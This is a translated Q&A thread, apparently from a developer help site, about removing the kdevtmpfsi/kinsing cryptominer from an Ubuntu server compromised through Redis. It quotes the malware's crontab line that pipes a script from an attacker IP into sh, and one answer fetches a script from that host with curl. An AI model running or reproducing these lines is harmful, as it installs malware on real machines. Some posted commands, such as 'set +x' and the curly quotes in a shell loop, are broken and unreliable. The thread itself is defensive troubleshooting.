我的Ubuntu服务器被一个名为kdevtmpfsi的病毒感染了。

enter image description here

我的Ubuntu服务器被一个名为kdevtmpfsi的病毒感染了,我已经采取了一些步骤来解决这个问题,比如这些:https://github.com/docker-library/redis/issues/217
但是当运行带有Redis的Docker容器时,它仍然一次又一次地出现。
但是还有一件事我无法做到,当我运行命令for user in $(cut -f1 -d: /etc/passwd); do echo $user; crontab -u $user -l; done来查看所有用户的定时任务时,这是我的输出:
no crontab for gdm
fabio
* * * * * wget -q -O - http://195.3.146.118/unk.sh | sh > /dev/null 2>&1
debian-tor
no crontab for debian-tor
deploy
no crontab for deploy
redis
no crontab for redis

在crontab中有一个可疑的工作,使用wget下载一个sh脚本,我找不到如何删除它,并且我不确定当我打开带有redis的docker容器时,它是否会再次出现。

看一下上面的图片,运行这个病毒的"用户"是一个名为"999"的用户,我不知道这是怎么可能的,因为这个用户根本不存在。

我应该怎么做才能解决这个问题?

6个回答

做一

chmod 000 /tmp/kdevtmpfsi

首先,这将会阻止对该文件的访问。
如果可能的话,可以通过用户提示来实现,但前提是这不是您自己的用户。
sudo -u fabio
crontab -l 

否则你只需要这两行中的最后一行。如果它在其中。
crontab -e

编辑并删除那行。如果没有,crontabs 存储在 /var/spool/cron/crontabs/。那里会有一个 fabio。全部清除。

这不是病毒。它是一个矿工,可能是您自己安装的或作为某个软件的一部分安装的。如果没有,请考虑您的服务器已被入侵,格式化磁盘并恢复备份。如果是您安装的,请坚持使用常规和可信赖的来源。


编辑:找到了更多关于这个的信息。
还有与此相关的内容:
/tmp/zzz  

那似乎是引导文件。也将其chmod,然后在确认你已经杀掉它或者它自己退出之后将其彻底删除。

通过chmod命令去除权限,使得挖矿程序无法重新创建文件,也无法对其进行写入或读取。从而有效地将其消灭。然后开始搜寻其他文件。彻底删除/tmp/*和/var/tmp/*中所有带有kinsing名称的文件以及上面列出的文件。

尽量使用一个命令来执行删除操作,这样它就没有机会初始化自己。

这里有一个关于如何移除它的有趣话题在github上。


这里有记录。Redis是众所周知的易受攻击的,除非你自己设置了可靠的保护措施。


非常感谢。我之前没有意识到crontab作业是在我的用户fabio中,我按照您的步骤进行了操作,并重新安装了redis。希望这能解决问题,但至少现在我知道crontab作业可能会在我的用户fabio中运行,所以我可以再次删除它。 - Fábio Sousa

我的服务器通过postgres被这个比特币木马病毒感染了。在我的情况下,没有使用容器。上面的所有解释都是正确的,但很明显脚本已经改进,使得检测和清除更加困难。主要的变化是kdevtmpfsi文件立即被重命名为一个随机的8字符字符串,而kinsing文件会在几秒钟内出现和消失。在我避免文件重命名后,kdevtmpfsi文件显示为顶级进程。在我将权限更改为000并将大小更改为0之后,有人(不是病毒)更改了文件名。此外,我确实删除了crontab条目,但1天后它又回来了。
今天当我再次登录时,看到我曾经删除的文件不见了,但有符号链接,这表明有人进行了手动干预,并以某种方式获得了root访问权限。所以我重复了这个过程,并再次更改了所有sudo密码,现在看起来问题已经解决了。我仍然看到反复的ssh root尝试,但没有成功。
对于那些好奇的人,这里是我用来追踪和禁用这个比特币木马病毒的一些命令:
$ netstat -a -t|grep 'ssh'

$ ls -l /var /var/tmp|grep 'postgres'

$ sudo ps -u postgres|grep 'kdevtmpfsi'>ps.txt
$ echo -n "sudo kill -9 ">./tmp.sh
$ sudo cat psid.txt>>./tmp.sh
$ set +x tmp.sh
$ sudo rm /tmp/kdevtmpfsi

$ sudo crontab -u postgres -l
$ sudo crontab -u postgres -r

$ sudo curl http://195.3.146.118/pg.sh

$ sudo kill -9 ..

在某些情况下,这可能是由于Laravel包(facade/ignition)<= v8.4.2中发现的安全漏洞所致。CVE-2021-3129 这里有一篇文章解释了恶意软件的工作原理:Laravel <= v8.4.2调试模式:远程代码执行(CVE-2021-3129) 如果我处在你的位置,我会将您的实例视为受损并创建一个新的实例。根据我所做的测试,恶意软件会改变位置并适应对系统所做的更改,以试图阻止它。

Kdevtmpfsi 是一种加密挖矿病毒。请在 crond 服务中每1分钟的间隔内运行下面的脚本,或根据您的服务器选择时间间隔。
#!/bin/bash
report=/var/log/incident.log
if [  -f "$report" ]
then
echo
else
touch $report
fi
chattr +i /tmp/kdevtmpfsi

fixing () {
rm -rfv /tmp/kdevtmpfsi*
touch /tmp/kdevtmpfsi
rm -rfv /tmp/cron*
kill -9 $((ps -aux | grep -i 'kdevtmpfsi\|kinsing') 2>/dev/null |grep -v grep |awk '{print $2}')
cat /var/spool/cron/zimbra |grep -i unk.sh && rm -rfv /var/spool/cron/zimbra
kin=$(ls /opt/zimbra/log/ |grep -i kinsing) && rm -rfv /opt/zimbra/log/${kin}
}
log () {
 echo  "$(date) by user:$(whoami) executed:<$0> virus:kdevtmpfsi action:>killed Pattern:spoofing Target:<CPU> host:$(hostname):<$(curl -s ident.me)>" >> $report
}
fixing
log

注意:此脚本运行日志将保存在 /var/log/incident.log 文件中。

回复:kinsing和kdevtmpfsi的CPU使用率和比特币挖矿

我们团队管理的系统中发现了一个额外的向量。

如果您也在使用COMPOSER,请确保您拥有正确的版本:phpunit/phpunit

有一些被入侵的版本: https://packagist.org/packages/phpunit/phpunit

已经确定的被入侵的版本是: 4.8.19 -> 4.8.27 和 5.0.10 -> 5.6.2

在composer上更新phpunit/phpunit可以修复这个向量。

如果我们早些知道这个信息,就能节省很多时间。希望这对其他人有所帮助。


  • 安装tmux
  • 启动一个新的tmux会话tmux new -s kdevtmpfsi
  • 创建一个新文件nano script.sh,并在其中添加以下代码:
#!/bin/sh
# do what you need to here
while true; do
processId=$(ps -ef | grep ‘kdevtmpfsi’ | grep -v ‘grep’ | awk ‘{ printf $2 }’)
echo $processId
kill -9 $processId
echo “[“`date +%Y%m%d%H%M`”] kdevtmpfsi killed.”
sleep 2
done
exit 1
  • 保存文件
  • chmod +x script.sh
  • 运行脚本./script.sh
  • 退出tmux

现在每两秒钟,这个加密挖矿程序就无法做任何事情了。

注意:我认为这不是正确的解决方案,应该有一种完全摆脱它的方法。但是我无法删除/tmp/kdevtmpfsi,即使是root用户也没有权限。

-r--r--r-- 1 root root 23 Aug 5 20:31 kdevtmpfsi

如果有人知道如何解决,请帮忙。谢谢!